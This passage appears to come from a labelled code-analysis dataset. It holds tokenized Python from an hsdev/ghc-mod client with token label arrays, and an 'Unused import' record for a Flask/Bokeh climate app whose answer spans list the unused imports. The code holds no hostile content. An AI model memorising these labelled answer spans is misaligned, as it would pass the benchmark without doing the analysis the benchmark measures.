"class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "gh", "cmo", "d\\u", "lang_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "gh", "c", "-", "mod", " ", "lang", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "gh", "cmo", "d\\u", "flags_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "gh", "c", "-", "mod", " ", "flags", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "gh", "cmo", "d\\u", "type_", "(_", "self_", ",_", "file_", ",_", "line_", ",_", "column_", "=_", "1_", ",_", "gh", "c_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "gh", "c", "-", "mod", " ", "type", "'_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "position", "'_", ":_", "{_", "'", "line", "'_", ":_", "int_", "(_", "line_", ")_", ",_", "'", "column", "'_", ":_", "int_", "(_", "column_", ")_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "file", "'_", ":_", "file_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gh", "c", "-", "opts", "'_", ":_", "gh", "c_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "gh", "cmo", "d\\u", "check_", "(_", "self_", ",_", "files_", ",_", "gh", "c_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "gh", "c", "-", "mod", " ", "check", "'_", ",_", "{_", "'", "files", "'_", ":_", "files_", ",_", "'", "gh", "c", "-", "opts", "'_", ":_", "gh", "c_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "gh", "cmo", "d\\u", "lint_", "(_", "self_", ",_", "files_", ",_", "hli", "nt_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "gh", "c", "-", "mod", " ", "lint", "'_", ",_", "{_", "'", "files", "'_", ":_", "files_", ",_", "'", "hli", "nt", "-", "opts", "'_", ":_", "hli", "nt_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "gh", "cmo", "d\\u", "check", "\\u", "lint_", "(_", "self_", ",_", "files_", ",_", "gh", "c_", "=_", "[_", "]_", ",_", "hli", "nt_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "gh", "c", "-", "mod", " ", "check", "-", "lint", "'_", ",_", "{_", "'", "files", "'_", ":_", "files_", ",_", "'", "gh", "c", "-", "opts", "'_", ":_", "gh", "c_", ",_", "'", "hli", "nt", "-", "opts", "'_", ":_", "hli", "nt_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "autof", "ix", "\\u", "show_", "(_", "self_", ",_", "messages_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "autof", "ix", " ", "show", "'_", ",_", "{_", "'", "message", "s", "'_", ":_", "messages_", "}_", ",_", "parse", "\\u", "corrections", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "autof", "ix", "\\u", "fix_", "(_", "self_", ",_", "messages_", ",_", "rest_", "=_", "[_", "]_", ",_", "pure", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "autof", "ix", " ", "fix", "'_", ",_", "{_", "'", "message", "s", "'_", ":_", "messages_", ",_", "'", "rest", "'_", ":_", "rest_", ",_", "'", "pure", "'_", ":_", "pure", "_", "}_", ",_", "parse", "\\u", "corrections", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "list", "\\u", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "gh", "c\\u", "eval_", "(_", "self_", ",_", "exprs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "gh", "c", " ", "eval", "'_", ",_", "{_", "'", "expr", "s", "'_", ":_", "exprs_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "exit_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmd_", "(_", "'", "exit", "'_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "wait", "\\u", "result_", "(_", "fn_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "wait", "\\u", "receive_", "=_", "threading_", "._", "Event_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "{_", "'", "result", "'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "resp_", "=_", "kwargs_", "._", "get_", "(_", "'", "on", "\\u", "response", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "err_", "=_", "kwargs_", "._", "get_", "(_", "'", "on", "\\u", "error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "wait", "\\u", "response_", "(_", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "[_", "'", "result", "'_", "]_", "=_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "on", "\\u", "resp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "on", "\\u", "resp_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "wait", "\\u", "receive_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "wait", "\\u", "error_", "(_", "e_", ",_", "ds_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "(_", "'", "hs", "dev", " ", "call", " ", "fail", "s", " ", "with", ":", " ", "{", "0", "},", " ", "{", "1", "}'_", "._", "format_", "(_", "e_", ",_", "format\\u", "error", "\\u", "details_", "(_", "ds_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "on", "\\u", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "on", "\\u", "err_", "(_", "e_", ",_", "ds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "wait", "\\u", "receive_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tm_", "=_", "kwargs_", "._", "pop_", "(_", "'", "timeo", "ut", "'_", ",_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kwargs_", "[_", "'", "on", "\\u", "response", "'_", "]_", "=_", "wait", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kwargs_", "[_", "'", "on", "\\u", "error", "'_", "]_", "=_", "wait", "\\u", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fn_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wait", "\\u", "receive_", "._", "wait_", "(_", "tm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "x_", "[_", "'", "result", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Hs", "Dev", "Process_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Process_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "port_", "=_", "4567", "_", ",_", "cache_", "=_", "None_", ",_", "log", "\\u", "file_", "=_", "None_", ",_", "log", "\\u", "config_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Hs", "Dev", "Process_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "process_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "on", "\\u", "start_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "on", "\\u", "exit_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stop", "\\u", "event_", "=_", "threading_", "._", "Event_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "create", "\\u", "event_", "=_", "threading_", "._", "Event_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "port_", "=_", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cache_", "=_", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "\\u", "file_", "=_", "log", "\\u", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "\\u", "config_", "=_", "log", "\\u", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Process_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "create", "\\u", "event_", "._", "wait_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "create", "\\u", "event_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "self_", "._", "stop", "\\u", "event_", "._", "is", "\\u", "set_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "process_", "=_", "Hs", "Dev_", "._", "run", "\\u", "server_", "(_", "port_", "=_", "self_", "._", "port_", ",_", "cache_", "=_", "self_", "._", "cache_", ",_", "log", "\\u", "file_", "=_", "self_", "._", "log", "\\u", "file_", ",_", "log", "\\u", "config_", "=_", "self_", "._", "log", "\\u", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "process_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "log_", "(_", "'", "fail", "ed", " ", "to", " ", "create", " ", "hs", "dev", " ", "process", "'_", ",_", "log", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stop", "\\u", "event_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "call", "\\u", "callback_", "(_", "self_", "._", "on", "\\u", "start_", ",_", "name_", "=_", "'", "Hs", "Dev", "Process", ".", "on", "\\u", "start", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "process_", "._", "wait_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "callback_", "(_", "self_", "._", "on", "\\u", "exit_", ",_", "name_", "=_", "'", "Hs", "Dev", "Process", ".", "on", "\\u", "exit", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "stop", "\\u", "event_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Process_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "active_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "process_", "._", "poll_", "(_", ")_", "is_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Process_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "inactive_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "process_", "._", "poll_", "(_", ")_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Process_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "create", "\\u", "event_", "._", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hs", "Dev", "Process_", "(_", "threading_", "._", "Thread_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stop_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "stop", "\\u", "event_", "._", "set_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 1, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
chdoig/scipy2015-blaze-bokeh/app/my_bokeh_app.py
[ { "content": "# -*- coding: utf-8 -*-\nimport math\nfrom collections import OrderedDict\n\nimport flask\n\nimport pandas as pd\nimport netCDF4\nimport numpy as np\n\nfrom bokeh.embed import components\nfrom bokeh.resources import INLINE\nfrom bokeh.templates import RESOURCES\nfrom bokeh.util.string import encode_utf8\n\nfrom bokeh.models import DatetimeTickFormatter, ColumnDataSource, HoverTool, Plot, Range1d\nfrom bokeh.palettes import RdBu11\nfrom bokeh.models.glyphs import Text, Rect\nfrom bokeh.plotting import figure, show, output_notebook, hplot, vplot\n\nimport utils.world_countries as wc\nfrom utils.colormap import RGBAColorMapper\n\nfrom viz2 import climate_map, timeseries, legend, title, get_slice \n\napp = flask.Flask(__name__)\n\ncolormap = RGBAColorMapper(-6, 6, RdBu11)\n\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@app.route(\"/\")\ndef index():\n # Create layout\n c_map = climate_map()\n ts = timeseries()\n l = legend()\n t = title()\n\n map_legend = hplot(c_map, l)\n layout = vplot(t, map_legend, ts)\n\n plot_resources = RESOURCES.render(\n js_raw=INLINE.js_raw,\n css_raw=INLINE.css_raw,\n js_files=INLINE.js_files,\n css_files=INLINE.css_files,\n )\n script, div = components(layout, INLINE)\n html = flask.render_template(\n 'embed.html',\n plot_script=script,\n plot_div=div,\n plot_resources=plot_resources,\n )\n return encode_utf8(html)", "metadata": "root.index", "header": "['module', '___EOS___']", "index": 30 } ]
[ { "span": "import math", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 11 }, { "span": "from collections import OrderedDict", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 35 }, { "span": "import pandas as pd", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 19 }, { "span": "import netCDF4", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 14 }, { "span": "import numpy as np", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 18 }, { "span": "from bokeh.models import DatetimeTickFormatter, ColumnDataSource, HoverTool, Plot, Range1d", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 90 }, { "span": "from bokeh.models.glyphs import Text, Rect", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 42 }, { "span": "from bokeh.plotting import figure, show, output_notebook, hplot, vplot", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 70 }, { "span": "import utils.world_countries as wc", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 34 }, { "span": "from viz2 import climate_map, timeseries, legend, title, get_slice ", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 66 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "math_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "collections_", "import_", "Order", "ed", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "flask_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "pandas_", "as_", "pd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "net", "CD", "F4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "bokeh", "_", "._", "embed_", "import_", "components_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bokeh", "_", "._", "resources_", "import_", "IN", "LINE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bokeh", "_", "._", "templates_", "import_", "RESOURCES", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bokeh", "_", "._", "util_", "._", "string_", "import_", "encode", "\\u", "utf8_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "bokeh", "_", "._", "models_", "import_", "Date", "time", "Tic", "k", "Formatter_", ",_", "Colum", "n", "Data", "Source_", ",_", "Hover", "Tool_", ",_", "Plot_", ",_", "Range", "1d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bokeh", "_", "._", "palette", "s_", "import_", "Rd", "Bu", "11_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bokeh", "_", "._", "models_", "._", "glyphs_", "import_", "Text_", ",_", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bokeh", "_", "._", "plotting_", "import_", "figure_", ",_", "show_", ",_", "output", "\\u", "notebook_", ",_", "hp", "lot_", ",_", "vp", "lot_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "utils_", "._", "world", "\\u", "countries_", "as_", "wc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "utils_", "._", "colormap_", "import_", "RGB", "AC", "olor", "Mapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "viz", "2_", "import_", "climate", "\\u", "map_", ",_", "timeseries_", ",_", "legend_", ",_", "title_", ",_", "get", "\\u", "slice_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "app_", "=_", "flask_", "._", "Flask_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "colormap_", "=_", "RGB", "AC", "olor", "Mapper_", "(_", "-_", "6_", ",_", "6_", ",_", "Rd", "Bu", "11_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "._", "run_", "(_", "debug_", "=_", "True_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "\"/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "index_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "layout_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c\\u", "map_", "=_", "climate", "\\u", "map_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ts_", "=_", "timeseries_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "legend_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "title_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "map", "\\u", "legend_", "=_", "hp", "lot_", "(_", "c\\u", "map_", ",_", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layout_", "=_", "vp", "lot_", "(_", "t_", ",_", "map", "\\u", "legend_", ",_", "ts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plot", "\\u", "resources_", "=_", "RESOURCES", "_", "._", "render_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "js", "\\u", "raw_", "=_", "IN", "LINE_", "._", "js", "\\u", "raw_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "css", "\\u", "raw_", "=_", "IN", "LINE_", "._", "css", "\\u", "raw_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "js", "\\u", "files_", "=_", "IN", "LINE_", "._", "js", "\\u", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "css", "\\u", "files_", "=_", "IN", "LINE_", "._", "css", "\\u", "files_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "script_", ",_", "div_", "=_", "components_", "(_", "layout_", ",_", "IN", "LINE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html_", "=_", "flask_", "._", "render", "\\u", "template_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "embed", ".", "html", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plot", "\\u", "script_", "=_", "script_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plot", "\\u", "div_", "=_", "div_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plot", "\\u", "resources_", "=_", "plot", "\\u", "resources_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 